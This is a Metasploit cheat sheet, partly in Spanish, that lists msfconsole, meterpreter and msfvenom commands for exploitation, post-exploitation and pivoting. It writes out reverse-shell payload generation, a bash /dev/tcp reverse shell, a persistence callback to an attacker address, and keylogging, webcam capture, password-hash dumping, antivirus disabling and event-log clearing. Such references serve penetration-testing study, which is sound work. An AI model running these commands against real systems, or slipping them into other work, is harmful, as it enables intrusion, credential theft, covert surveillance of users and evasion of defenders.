Metasploit Framework - Guía Completa
Guía completa de Metasploit Framework: msfconsole, meterpreter, msfvenom, exploits, payloads, post-explotación y pivoting.
MSFCONSOLE
MSFconsole Commands
| Command | Description |
|---|---|
show exploits |
Show all exploits within the Framework. |
show payloads |
Show all payloads within the Framework. |
show auxiliary |
Show all auxiliary modules within the Framework. |
search <name> |
Search for exploits or modules within the Framework. |
info |
Load information about a specific exploit or module. |
use <name> |
Load an exploit or module (example: use windows/smb/psexec). |
use <number> |
Load an exploit by using the index number displayed after the search <name> command. |
LHOST |
Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells. |
RHOST |
The remote host or the target. set function Set a specific value (for example, LHOST or RHOST). |
setg <function> |
Set a specific value globally (for example, LHOST or RHOST). |
show options |
Show the options available for a module or exploit. |
show targets |
Show the platforms supported by the exploit. |
set target <number> |
Specify a specific target index if you know the OS and service pack. |
set payload <payload> |
Specify the payload to use. |
set payload <number> |
Specify the payload index number to use after the show payloads command. |
show advanced |
Show advanced options. |
set autorunscript migrate -f |
Automatically migrate to a separate process upon exploit completion. |
check |
Determine whether a target is vulnerable to an attack. |
exploit |
Execute the module or exploit and attack the target. |
exploit -j |
Run the exploit under the context of the job. (This will run the exploit in the background.) |
exploit -z |
Do not interact with the session after successful exploitation. |
exploit -e <encoder> |
Specify the payload encoder to use (example: exploit –e shikata_ga_nai). |
exploit -h |
Display help for the exploit command. |
sessions -l |
List available sessions (used when handling multiple shells). |
sessions -l -v |
List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system. |
sessions -s <script> |
Run a specific Meterpreter script on all Meterpreter live sessions. |
sessions -K |
Kill all live sessions. |
sessions -c <cmd> |
Execute a command on all live Meterpreter sessions. |
sessions -u <sessionID> |
Upgrade a normal Win32 shell to a Meterpreter console. |
db_create <name> |
Create a database to use with database-driven attacks (example: db_create autopwn). |
db_connect <name> |
Create and connect to a database for driven attacks (example: db_connect autopwn). |
db_nmap |
Use Nmap and place results in a database. (Normal Nmap syntax is supported, such as –sT –v –P0.) |
db_destroy |
Delete the current database. |
db_destroy <user:password@host:port/database> |
Delete database using advanced options. |
METERPRETER
Before starting the exploitation phase, you must know the Metasploit framework from start to finish, so I have prepared a quick reference (a cheat sheet) to the Metasploit framework for you
Meterpreter Commands
| Command | Description |
|---|---|
help |
Open Meterpreter usage help. |
run <scriptname> |
Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory. |
sysinfo |
Show the system information on the compromised target. |
ls |
List the files and folders on the target. |
use priv |
Load the privilege extension for extended Meterpreter libraries. |
ps |
Show all running processes and which accounts are associated with each process. |
migrate <proc. id> |
Migrate to the specific process ID (PID is the target process ID gained from the ps command). |
use incognito |
Load incognito functions. (Used for token stealing and impersonation on a target machine.) |
list_tokens -u |
List available tokens on the target by user. |
list_tokens -g |
List available tokens on the target by group. |
impersonate_token <DOMAIN_NAMEUSERNAME> |
Impersonate a token available on the target. |
steal_token <proc. id> |
Steal the tokens available for a given process and impersonate that token. |
drop_token |
Stop impersonating the current token. |
getsystem |
Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors. |
shell |
Drop into an interactive shell with all available tokens. |
execute -f <cmd.exe> -i |
Execute cmd.exe and interact with it. |
execute -f <cmd.exe> -i -t |
Execute cmd.exe with all available tokens. |
execute -f <cmd.exe> -i -H -t |
Execute cmd.exe with all available tokens and make it a hidden process. |
rev2self |
Revert back to the original user you used to compromise the target. |
reg <command> |
Interact, create, delete, query, set, and much more in the target’s registry. |
setdesktop <number> |
Switch to a different screen based on who is logged in. |
screenshot |
Take a screenshot of the target’s screen. |
upload <filename> |
Upload a file to the target. |
download <filename> |
Download a file from the target. |
keyscan_start |
Start sniffing keystrokes on the remote target. |
keyscan_dump |
Dump the remote keys captured on the target. |
keyscan_stop |
Stop sniffing keystrokes on the remote target. |
getprivs |
Get as many privileges as possible on the target. |
uictl enable <keyboard/mouse> |
Take control of the keyboard and/or mouse. |
background |
Run your current Meterpreter shell in the background. |
hashdump |
Dump all hashes on the target. use sniffer Load the sniffer module. |
sniffer_interfaces |
List the available interfaces on the target. |
sniffer_dump <interfaceID> pcapname |
Start sniffing on the remote target. |
sniffer_start <interfaceID> packet-buffer |
Start sniffing with a specific range for a packet buffer. |
sniffer_stats <interfaceID> |
Grab statistical information from the interface you are sniffing. |
sniffer_stop <interfaceID> |
Stop the sniffer. |
add_user <username> <password> -h <ip> |
Add a user on the remote target. |
add_group_user <"Domain Admins"> <username> -h <ip> |
Add a username to the Domain Administrators group on the remote target. |
clearev |
Clear the event log on the target machine. |
timestomp |
Change file attributes, such as creation date (antiforensics measure). |
reboot |
Reboot the target machine. |
Start a Metasploit with the following script file:
$msfconsole -r test.rc
To run Metasploit, use the following command:
$msfconsole
Using the database
In Kali Linux, you will need to start up the postgresql server before using the database:
$ systemctl start postgresql
After starting postgresql, you will need to create and initialize the msf database with msfdb init:
$ msfdb init
If you just created a new exploit and want to refresh metasploit db to start using the newly created exploit, enter the following: $service postgresql restart && msfdb reinit Then, type the following command:
$msfconsole -q
The -q will start msfconsole in debug mode, so if you made mistakes in your new exploit class, the debugger will then print it to the screen.
More database-related commands
msf > db_status: This will confirm that Metasploit is successfully connected
to the database
msf > workspace: This will display the currently selected workspaces
msf > workspace [new workspace]: This changes the current workspace to the
new one selected
msf > workspace -a [the name of the workspace to add]: This is the name of the
workspace to add
msf > workspace -d [the name of the workspace to delete]: This is the name of the
workspace to delete
msf > db_import [XML folder path]: This will import a file from an earlier
scan, for example, db_import /root/msfu/nmapScan
msf > db_nmap [nmap arguments]: This will scan using Nmap, for example,
db_nmap -A 172.16.194.134
msf > hosts: This will list the hosts after a scan
msf > services: This will list the services found after a scan
msf > creds: This will list any found credentials after a brute-force scan
msf > loot: This will retrieve hash dumps if you have already
compromised a system
msf > db_export -f [format] [xml file path]: For example, -db_export -f xml
/root/msfu/Exported.xml
Getting around
msf > search: This will locate a specific module according to the search
criteria that you provide (try to execute help search)
msf > search [any keyword]: For example, search apache version 2.3
msf > grep & search: For example, grep http search apache
Search keywords:
app: Modules that are client or server attacks
author: Modules written by this author
bid: Modules with a matching Bugtraq ID
cve: Modules with a matching CVE ID
edb: Modules with a matching Exploit-DB ID
name: Modules with a matching descriptive name
platform: Modules affecting this platform
ref: Modules with a matching ref
type: Modules of a specific type (exploit, auxiliary, or post)
Examples:
msf > search cve:2009 type:exploit app:client
msf > search name:mysql
msf > search platform:windows
msf > search type:auxiliary
More commands:
msf > help: List the available commands
msf > back: Go back one step
msf > exit: Exit msfconsole
Using modules
msf > use [module name]: Select a module to use it. For example, use
dos/windows/smb/ms09_001_write.
msf > show: This will show info about a specific item in Metasploit.
msf > show: Entering show at the msfconsole prompt will display every module
within Metasploit.
msf > show options: This will show the module options.
msf > show auxiliary: This will display a list of all of the available auxiliary
modules within Metasploit.
msf > show exploits: This will get a listing of all exploits contained in the
framework.
msf > show payloads: This will display all of the different payloads (either
within Metasploit or in the same module).
msf > show targets: This will display which targets are supported within the
context of an exploit module.
msf > show advanced: This will show you more advanced options if you wish
to further fine-tune an exploit.
msf > show encoders: This will display a list of the encoders that are
available within msfconsole.
msf > show nops: This will display the NOP generators that Metasploit has to
offer.
msf > info [module name]: This will provide you with detailed information
about a module. For example, info exploit/windows/http/apache_chunked.
msf > check: This will verify whether the target is vulnerable, but you will
need to set the options first.
msf > set: The set command allows you to configure the framework options
and parameters for the current module you are working with. For
example, set RHOST 172.16.194.134.
msf > setg: This will set global variables within msfconsole. For
example, setg LHOST 10.0.0.100.
msf > unset: The unset command removes a parameter that has been
previously configured with set. You can remove all assigned variables
with unset all. For example, unset THREADS.
msf > save: The save command will save your current environment and settings.
msf > jobs [option]: The jobs command provides the ability to list and
terminate these jobs. Use the jobs -h command to get the available options.
For example, jobs -l
Miscellaneous
msf > load [plugin name]: The load command loads a plugin from Metasploit's
plugin directory. Arguments are passed as key=val on the shell. For
example, load pcap_log.
msf > unload [plugin name]: The unload command unloads a previously loaded
plugin and removes any extended commands. For example, unload pcap_log.
msf > loadpath [module path]: The loadpath command will load a third-party
module tree for the path so you can point Metasploit at your 0-day
exploits, encoders, payloads, and so on. For example, loadpath
exploit/windows/test/test_module.
msf > connect [IP]: This is similar to netcat. It is good for banner grabbing
and interacting with the service. For example, connect 192.168.1.10.
METERPRETER
msf > sessions [options or ID]: The sessions command allows you to list,
interact with, and kill spawned sessions. The sessions can be shells,
Meterpreter sessions, VNCs, and so on (use sessions -h to get help).
meterpreter > background: This will send the current Meterpreter session to
the background and return you to the msf prompt.
meterpreter > getuid: Displays to the user whether the Meterpreter server is
running on the host.
meterpreter > sysinfo: Displays the victim's OS info.
meterpreter > cd: Changes the current directory on the compromised system.
meterpreter > ls: Lists the current directory's contents.
meterpreter > pwd: Prints the current directory on the compromised system.
meterpreter > ps: Displays a list of running processes on the target.
meterpreter > run post/windows/manage/migrate: Migrates to another process on
the victim.
meterpreter > use priv: Use this command before executing the getsystem
command.
meterpreter > getsystem: Use this command to elevate your privileges.
If you get the error priv_elevate_getsystem: Operation failed: Access is denied, then
follow these steps:
meterpreter > background
Option 1:
msf > use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > show options
msf post(local_exploit_suggester) > run
Option 2:
msf > use exploit/windows/local/: List of all Windows exploits.
msf > use exploit/windows/local/ms10_015_kitrap0d: We've chosen one exploit
from the list, as follows:
msf exploit(ms10_015_kitrap0d) > show options
msf exploit(ms10_015_kitrap0d) > set SESSION 1
msf exploit(ms10_015_kitrap0d) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_015_kitrap0d) > set LHOST 192.168.1.100
msf exploit(ms10_015_kitrap0d) > set LPORT 4445
msf exploit(ms10_015_kitrap0d) > exploit
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM - Hooray
meterpreter > search: Provides a way of locating specific files on the target
host. For example, search -f passwords*.txt.
meterpreter > cat [file name path]: Displays the content of a file when it's
given as an argument.
meterpreter > download [file name path]: Downloads a file from the remote
machine. Note the use of the double-slashes when giving the Windows
path. For example, download C:\\passwords.txt.
meterpreter > upload [local file name] [remote path]: For example, upload
evil_trojan.exe c:\\windows\\system32.
meterpreter > execute [command]: Runs a command on the target system
meterpreter > shell: Executes the shell (Terminal or DOS) on the target
system.
meterpreter > run post/windows/gather/hashdump: A post module that will dump
the contents of the SAM database.
meterpreter >ipconfig: Displays the network interfaces and addresses on the
remote machine.
meterpreter > webcam_list: Displays the currently available webcams on the
target host.
meterpreter > webcam_snap: Grabs a picture from a connected webcam on the
target system and saves it to disc as a JPEG image. By default, the save
location is the local current working directory with a randomized
filename. For example, webcam_snap -i 1 -v false.
meterpreter > python_import [local python file]: Imports a local Python file and
executes it on the victim's machine. For example, meterpreter >
python_import -f /root/readAutoLogonREG.py.
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24
meterpreter > run post/windows/gather/checkvm: Checks to see if the
compromised host is a virtual machine.
meterpreter > run post/windows/gather/credentials/credential_collector: Harvests
passwords hashes and tokens on the compromised host.
meterpreter > run post/windows/gather/dumplinks: The dumplinks module parses
the .lnk files in a user's recent documents, which could be useful for
further information gathering.
meterpreter > run post/windows/gather/enum_applications: Enumerates the
applications that are installed on the compromised host.
meterpreter > run post/windows/gather/enum_logged_on_users: Returns a list of
current and recently logged on users, along with their SIDs.
meterpreter > run post/windows/gather/enum_shares: Returns a list of both
configured and recently used shares on the compromised system.
meterpreter > run post/windows/gather/enum_snmp: Enumerates the SNMP service
configuration on the target, if present, including the community strings.
meterpreter > run post/windows/gather/hashdump: Dumps the local users' accounts
on the compromised host using the registry.
meterpreter > run post/windows/gather/usb_history: Enumerates the USB drive
history on the compromised system.
meterpreter > run getcountermeasure: Checks the security configuration on the
victims' system and can disable other security measures, such as A/V, the
firewall, and much more.
meterpreter > run getgui -e: Enables RDP on a target system if it is disabled.
meterpreter > run gettelnet -e: Enables Telnet on the victim if it is disabled.
meterpreter > run killav: Disables most antivirus programs running as a
service on a target.
meterpreter > run remotewinenum -u administrator -p password123 -t 10.0.0.100:
Enumerates the system information through wmic on the victim. Makes note
of where the logs are stored.
meterpreter > run scraper: Grabs the system information, including the entire
registry
meterpreter > run winenum: This makes for a very detailed Windows
enumeration tool. It dumps tokens, hashes, and much more.
meterpreter > run persistence -U -i 10 -p 443 -r 192.168.1.5: Configures our
persistent Meterpreter session to wait until a user logs on to the remote
system and tries to connect back to our listener every 10 seconds at IP
address 192.168.1.5 on port 443.
MSFVENOM
msfvenom can be used, for example, to generate a reverse TCP Meterpreter
payload for Windows OS:
$ msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.1.101 -b "\x00" -f exe -o Meterpreter.exe
Platforms: The following are the platform values that we can use:
Cisco or cisco, OSX or osx, Solaris or solaris, BSD or bsd, OpenBSD or openbsd,
hardware, Firefox or firefox, BSDi or bsdi, NetBSD or netbsd, NodeJS or nodejs,
FreeBSD or freebsd, Python or python, AIX or aix, JavaScript or javascript, HPUX or
hpux, PHP or php, Irix or irix, Unix or unix, Linux or linux, Ruby or ruby, Java or
java, Android or android, Netware or netware, Windows or windows, mainframe, multi.
Executable formats: The following are the executable formats that we
can use:
asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh,
loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba,
vba-exe, vba-psh, vbs, war.
Transform formats: The following are the transform formats that we can
use:
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py,
python, raw, rb, ruby, sh, vbapplication, vbscript.
Listener scripting
$ touch script.rc
$ echo use exploit/multi/handler >> script.rc
$ echo set PAYLOAD windows/meterpreter/reverse_tcp >> script.rc
$ echo set LHOST 192.168.0.114 >> script.rc
$ echo set ExitOnSession false >> script.rc
$ echo exploit -j -z >> script.rc
$ msfconsole -r script.rc
#resources
EXCALIDRAW DIAGRAM
Diagrama Metasploit (excalidraw)
Guia basica de metasploit framework
- Modulos de metasploit:
ls /usr/share/metasploit-framework/modules
Componentes esenciales - Msfconsole
Auxiliary
Cualquier módulo de soporte
❯ pwd
/usr/share/metasploit-framework/modules
❯ tree -L 1 auxiliary/
auxiliary/
├── admin
├── analyze
├── bnat
├── client
├── cloud
├── crawler
├── docx
├── dos
├── example.py
├── example.rb
├── fileformat
├── fuzzers
├── gather
├── parser
├── pdf
├── scanner
├── server
├── sniffer
├── spoof
├── sqli
├── voip
└── vsploit
Encoders
Los codificadores te permitirán codificar el exploit y la carga útil con la esperanza de que una solución antivirus basada en firmas las ignore. Las soluciones de seguridad y antivirus basadas en firmas tienen una base de datos de amenazas conocidas.
❯ tree -L 1 encoders/
encoders/
├── cmd
├── generic
├── mipsbe
├── mipsle
├── php
├── ppc
├── ruby
├── sparc
├── x64
└── x86
evasion
Los módulos de "evasión" intentarán evitar los antivirus, con más o menos éxito.
❯ tree -L 2 evasion/
evasion/
└── windows
├── applocker_evasion_install_util.rb
├── applocker_evasion_msbuild.rb
├── applocker_evasion_presentationhost.rb
├── applocker_evasion_regasm_regsvcs.rb
├── applocker_evasion_workflow_compiler.rb
├── process_herpaderping.rb
├── syscall_inject.rb
├── windows_defender_exe.rb
└── windows_defender_js_hta.rb
2 directories, 9 files
❯ tree -L 1 evasion/
evasion/
└── windows
Exploits
Exploits organizados de forma ordenada por sistema objetivo.
❯ tree -L 1 exploits/
exploits/
├── aix
├── android
├── apple_ios
├── bsd
├── bsdi
├── dialup
├── example.py
├── example.rb
├── example_linux_priv_esc.rb
├── example_webapp.rb
├── firefox
├── freebsd
├── hpux
├── irix
├── linux
├── mainframe
├── multi
├── netware
├── openbsd
├── osx
├── qnx
├── solaris
├── unix
└── windows
NoPs
Los NOPs (No OPeration) no hacen nada, literalmente. En la familia de procesadores Intel x86 se representan con 0x90, después de lo cual el CPU no hace nada durante un ciclo. A menudo se utilizan como un búfer para lograr tamaños de carga útil consistentes.
❯ tree -L 1 nops
nops
├── aarch64
├── armle
├── cmd
├── mipsbe
├── php
├── ppc
├── sparc
├── tty
├── x64
└── x86
Payloads
Los payloads son códigos que se ejecutarán en el sistema de destino. Los exploits aprovecharán una vulnerabilidad en el sistema de destino, pero para lograr el resultado deseado, necesitaremos un payload. Ejemplos podrían ser: obtener una shell, cargar un malware o puerta trasera en el sistema de destino, ejecutar un comando o lanzar calc.exe como prueba de concepto para agregar al informe de prueba de penetración. Iniciar la calculadora en el sistema de destino de forma remota mediante el lanzamiento de la aplicación calc.exe es una forma benigna de mostrar que podemos ejecutar comandos en el sistema de destino. Ejecutar comandos en el sistema de destino ya es un paso importante, pero tener una conexión interactiva que le permita escribir comandos que se ejecutarán en el sistema de destino es mejor. Una línea de comando interactiva de este tipo se llama "shell". Metasploit ofrece la capacidad de enviar diferentes payloads que pueden abrir shells en el sistema de destino.
❯ tree -L 1 payloads
payloads
├── adapters
├── singles
├── stagers
└── stages
singles - stagers y stages - adapters
Verás tres directorios diferentes en "payloads": "singles", "stagers" y "stages".
- Adapters envuelven los "single payloads" para convertirlos a diferentes formatos. Por ejemplo, un "single payload" normal se puede envolver dentro de un adaptador de Powershell, que creará un solo comando de Powershell que ejecutará el payload.
- Singles son "payloads" autocontenidos (agregar usuario, lanzar notepad.exe, etc.) que no necesitan descargar un componente adicional para ejecutarse.
- Stagers son responsables de configurar un canal de conexión entre Metasploit y el sistema objetivo. Útil cuando se trabaja con "staged payloads" cargarán primero un "stager" en el sistema objetivo y luego descargarán el resto del "payload" ("stage"). Esto proporciona algunas ventajas, ya que el tamaño inicial del "payload" será relativamente pequeño en comparación con el "payload" completo enviado de una sola vez.
- Stages son descargados por el "stager". Esto le permitirá usar "payloads" de mayor tamaño.
php/meterpreter_reverse_tcp
ruby/shell_reverse_tcp
Son ambos "reverse shells" de Windows. El primero es un "single payload", como indica el "_" entre "shell" y "reverse". Mientras que el último es un "staged payload", como indica el "/" entre "shell" y "reverse".
msfvenom
Msfvenom es una herramienta de la suite de herramientas de Metasploit que se utiliza para generar payloads personalizados. La herramienta msfvenom permite a los usuarios crear diferentes tipos de payloads, incluyendo payloads para exploits de vulnerabilidades, troyanos de acceso remoto (RATs), payloads para ejecución de comandos, entre otros.
Payload Staged
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4443 -f exe -o payload.exe
msfconsole -q # para abirir la terminal
use exploit/multi/handler # tipo de explotación
set payload windows/x64/meterpreter/reverse_tcp # listener windows
set LHOST <ip> # ip del listener
set LPORT 4443 # puerto del listener
run # ejecutar y ponerse en escucha
Con Linux
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=4443 -f elf -o rev
use exploit/multi/handler # tipo de explotación
set payload linux/x64/meterpreter_reverse_tcp # listener windows
set LHOST <ip> # ip del listener
set LPORT 4443 # puerto del listener
run # ejecutar y ponerse en escucha
Payload Non-Staged
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=4443 -f exe -o payload.exe
msfconsole -q # para abirir la terminal
use exploit/multi/handler # tipo de explotación
set payload windows/x64/meterpreter/reverse_tcp # listener windows
set LHOST <ip> # ip del listener
set LPORT 4443 # puerto del listener
run # ejecutar y ponerse en escucha
Estos payloads están enfocados para cuando se hace el proceso entero con metasploit, pero si solamente queremos que msfvenom nos haga el payload y que el listener se haga por ejemplo con ncat se tiene que hacer con el siguiente comanda
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4443 -f exe -o payload.exe
RV Shells
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.ex
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
Recuerda que al crear esta rev_shell hay que entrar dentro y quitar las comillas que hay cuando lo crea metasploit.
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
Pivoting
meterpreter > run autoroute -s 10.10.10.0/24
Una vez hayamos hecho autoroute y tengamos acceso a la red interna que no teniamos antes, se pueden utilizar todos módulos de Metasploit (escanear, exploit etc).
Port Forwading
meterpreter > portfwd add -l <puerto local> -p <puerto maquina victima> -r <IP victima>
Meterpreter
Comandos principales
| Comando | Descripción |
|---|---|
background |
Envía la sesión actual al segundo plano |
exit |
Termina la sesión de Meterpreter |
guid |
Obtiene el GUID (Identificador único global) de la sesión |
help |
Muestra el menú de ayuda |
info |
Muestra información sobre un módulo de Post |
irb |
Abre un shell interactivo de Ruby en la sesión actual |
load |
Carga una o varias extensiones de Meterpreter |
migrate |
Permite migrar Meterpreter a otro proceso |
run |
Ejecuta un script o módulo de Meterpreter o Post |
sessions |
Cambia rápidamente a otra sesión |
Filtrar exploits y busqueda
| Comando | Descripción |
|---|---|
| search [keyword] | Busca exploits y otros módulos que contengan una palabra clave específica. |
| search type:exploit [keyword] | Busca específicamente exploits, con la opción de agregar una palabra clave para filtrar los resultados. |
| search platform:[platform] | Busca exploits y otros módulos para una plataforma específica. |
| search cve:[cve] | Busca exploits específicos para una vulnerabilidad de CVE específica. |
Comandos del sistema de archivos
| Comando | Descripción |
|---|---|
cd |
Cambia de directorio |
ls |
Lista los archivos en el directorio actual (dir también funciona) |
pwd |
Muestra el directorio de trabajo actual |
edit |
Permite editar un archivo |
cat |
Muestra el contenido de un archivo en la pantalla |
rm |
Elimina el archivo especificado |
search |
Busca archivos |
upload |
Sube un archivo o directorio |
download |
Descarga un archivo o directorio |
Comandos de redes
| Comando | Descripción |
|---|---|
arp |
Muestra la caché ARP (Protocolo de resolución de direcciones) del host |
ifconfig |
Muestra las interfaces de red disponibles en el sistema objetivo |
netstat |
Muestra las conexiones de red |
portfwd |
Reenvía un puerto local a un servicio remoto |
route |
Permite ver y modificar la tabla de enrutamiento |
Comandos del sistema
| Comando | Descripción |
|---|---|
clearev |
Borra los registros de eventos |
execute |
Ejecuta un comando |
getpid |
Muestra el identificador de proceso actual |
getuid |
Muestra el usuario que ejecuta Meterpreter |
kill |
Termina un proceso |
pkill |
Termina procesos por nombre |
ps |
Lista los procesos en ejecución |
reboot |
Reinicia el equipo remoto |
shell |
Abre una shell de comandos del sistema |
shutdown |
Apaga el equipo remoto |
sysinfo |
Obtiene información sobre el sistema remoto, como el sistema operativo |
Otros comandos (estos se enumerarán en diferentes categorías de menú en el menú de ayuda)
| Comando | Descripción |
|---|---|
idletime |
Devuelve el número de segundos que el usuario remoto ha estado inactivo |
keyscan_dump |
Muestra el búfer de pulsaciones de teclas |
keyscan_start |
Inicia la captura de pulsaciones de teclas |
keyscan_stop |
Detiene la captura de pulsaciones de teclas |
screenshare |
Permite ver el escritorio del usuario remoto en tiempo real |
Post-Explotación
Un modulo de post importante es el de pasar el shell hacia meterpreter : Enlace shell to meterpreter : https://medium.com/@AhmadCyberZone.com/how-we-upgrade-normal-shell-into-meterpreter-shell-using-msf-7e97c3dc3c8e
| Comando | Descripción |
|---|---|
getuid |
Muestra el usuario actual que está ejecutando Meterpreter. |
getpid |
Muestra el ID del proceso actual que está ejecutando Meterpreter. |
getprivs |
Muestra los privilegios actuales del usuario que está ejecutando Meterpreter. |
ps |
Muestra una lista de procesos en el sistema. |
kill |
Termina un proceso especificado. |
execute |
Ejecuta un comando en el sistema remoto. |
download |
Descarga un archivo del sistema remoto a la máquina del atacante. |
upload |
Sube un archivo desde la máquina del atacante al sistema remoto. |
shell |
Abre una consola de comandos en el sistema remoto. |
sysinfo |
Muestra información del sistema remoto, como el nombre de la máquina, el sistema operativo, la versión del kernel, etc. |
hashdump |
Dump los hashes de contraseñas almacenados en el sistema. |
getsystem |
Intenta elevar los privilegios de la sesión actual a SYSTEM. |
migrate |
Mueve la sesión actual de Meterpreter a otro proceso en ejecución. |
portfwd |
Reenvía un puerto local en la máquina del atacante al puerto de un servicio en el sistema remoto. |
timestomp |
Cambia la hora de creación, modificación y/o acceso de un archivo. |
getfiletype |
Obtiene información del tipo de archivo de un archivo especificado. |
enum_logged_on_users |
Enumera los usuarios que han iniciado sesión en el sistema remoto. |
hashdump |
Dump los hashes de contraseñas almacenados en el sistema. |
keylog_recorder |
Registra las pulsaciones de teclas en el sistema remoto. |
screenshot |
Captura una imagen de la pantalla del sistema remoto. |
webcam_list |
Enumera las cámaras web conectadas al sistema remoto. |
webcam_snap |
Captura una imagen desde una cámara web conectada al sistema remoto. |
webcam_stream |
Transmite vídeo en directo desde una cámara web conectada al sistema remoto. |
| search -f file.txt | Para buscar archivos dentro del sistema comprometido |
Migrar entre procesos
| Comando | Descripción |
|---|---|
migrate |
Mueve Meterpreter a otro proceso en el mismo sistema operativo. |
migrate -L |
Lista los procesos que Meterpreter puede migrar. |
migrate <PID> |
Mueve Meterpreter al proceso con el ID de proceso (PID) especificado. |
migrate -N <nombre> |
Mueve Meterpreter al proceso con el nombre especificado. |
migrate -R |
Mueve Meterpreter a un proceso aleatorio. |
migrate -H |
Muestra la ayuda para el comando migrate. |
Tratamiento TTY meterpreter
shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ponerte en escucha por otro puerto
nc -lvnp 4443
Y ejecutar lo siguiente en la shell de metasploit
bash -i >& /dev/tcp/<IP>/4443 0>&1
Referencias :
- https://www.offsec.com/metasploit-unleashed/msfconsole-commands/
- https://j4ckie0x17.gitbook.io/notes-pentesting/explotacion/metasploit#auxiliary
Guia completa
Metasploit
# MSF Install
sudo apt update && sudo apt install metasploit-framework -y
sudo systemctl enable postgresql
sudo systemctl restart postgresql
sudo msfdb init
ls /usr/share/metasploit-framework
ls ~/.msf4/modules
service postgresql start && msfconsole -q
# msfconsole
db_status
help
version
show -h
show all
show exploits #Aonther way to display exploits
show payloads #display payloads
search <STRING>
search cve:2017 type:exploit platform:windows
use <MODULE_NAME>
show options #Check options and required value
exploit #Execution of exploitation
set <OPTION>
run
execute # same as run
exploit # same as run and execute
sessions
# Switch between sessions Ids with
sessions 1
# Rename sessions
sessions -n xoda -i 1
# Run a Meterpreter Command on the session given with `-i`
sessions -C sysinfo -i 1
# Terminate a specific session
sessions -k 1
# Terminate all sessions
sessions -K
# Upgrade a shell session to a Meterpreter session
sessions -u 1
connect
## Workspaces - db_status must be connected
workspace
workspace -a <NEW_WORSKSPACE>
workspace <WORKSPACE_NAME>
workspace -d <WORKSPACE_NAME>
# Payload Options
search eternalblue
use 0
# ^^ specify the identifier
set payload <PAYLOAD_NAME>
set RHOSTS <TARGET_IP>
run
# or
exploit
Meterpreter
# meterpreter > <command>
background #Switch from a Meterpreter session to the msfconsole command line
cat
cd
checksum md5 /bin/bash
clearev
download Filename /root/**** #Download From victm machine to your machine
edit
execute -f ifconfig
getenv
getenv PATH
getuid
hashdump
idletime
ifconfig
lpwd
ls
migrate
mkdir
ps
pwd
resource <file.txt>
rmdir
search -f *.txt
shell #run a standard operating system shell
sysinfo #information about the victm Machine
upload /****/exploit.exe C://Windows #Upload from your machine to victm machine
Info Gathering & Enumeration
workspace -a <hostname_enum>
# NMAP Export in .XML
nmap -Pn -sV -O <TARGET_IP> -oX <XML_FILE_NAME>
# msfconsole
db_import <XML_FILE_NAME>
hosts
services
vulns
loot
creds
notes
# Nmap inside MSF
db_nmap -Pn -sV -O <TARGET_IP>
# Port Scan example
workspace -a Port_scan
search portscan
use auxiliary/scanner/portscan/tcp
show options
set RHOSTS <TARGET_IP>
set PORTS 1-1000
run
# Exploitation
search xoda
use exploit/unix/webapp/xoda_file_upload
set RHOSTS <TARGET_IP>
set TARGETURI /
run
# Pivoting to TARGET2 through TARGET1
run autoroute -s <TARGET1_SUBNET_NETWORK>
background
use auxiliary/scanner/portscan/tcp
set RHOSTS <TARGET2_IP>
run
# UDP Scan
search udp_sweep
use auxiliary/scanner/discovery/udp_sweep
set RHOSTS <TARGET_IP>
run
# Service Enumeration
# FTP
use auxiliary/scanner/ftp/ftp_version
use auxiliary/scanner/ftp/ftp_login
use auxiliary/scanner/ftp/anonymous
# SMB
use auxiliary/scanner/ftp/anonymous
use auxiliary/scanner/smb/smb_enumusers
use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/smb/smb_login
# HTTP
use auxiliary/scanner/http/apache_userdir_enum
use auxiliary/scanner/http/brute_dirs
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/dir_listing
use auxiliary/scanner/http/http_put
use auxiliary/scanner/http/files_dir
use auxiliary/scanner/http/http_login
use auxiliary/scanner/http/http_header
use auxiliary/scanner/http/http_version
use auxiliary/scanner/http/robots_txt
# MYSQL
use auxiliary/admin/mysql/mysql_enum
use auxiliary/admin/mysql/mysql_sql
use auxiliary/scanner/mysql/mysql_file_enum
use auxiliary/scanner/mysql/mysql_hashdump
use auxiliary/scanner/mysql/mysql_login
use auxiliary/scanner/mysql/mysql_schemadump
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/mysql/mysql_writable_dirs
# SSH
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/ssh/ssh_enumusers
# SMTP
use auxiliary/scanner/smtp/smtp_enum
use auxiliary/scanner/smtp/smtp_version
Vulnerability Scanning
# NMAP
db_nmap -sS -sV -O <TARGET_IP>
search type:exploit name:iis
search <SERVICE_NAME_VERSION>
# e.g.
search eternalblue
use auxiliary/scanner/smb/smb_ms17_010
# Kali Linux terminal
searchsploit "Microsoft Windows SMB" | grep -e "Metasploit"
# Metasploit Autopwn
wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb
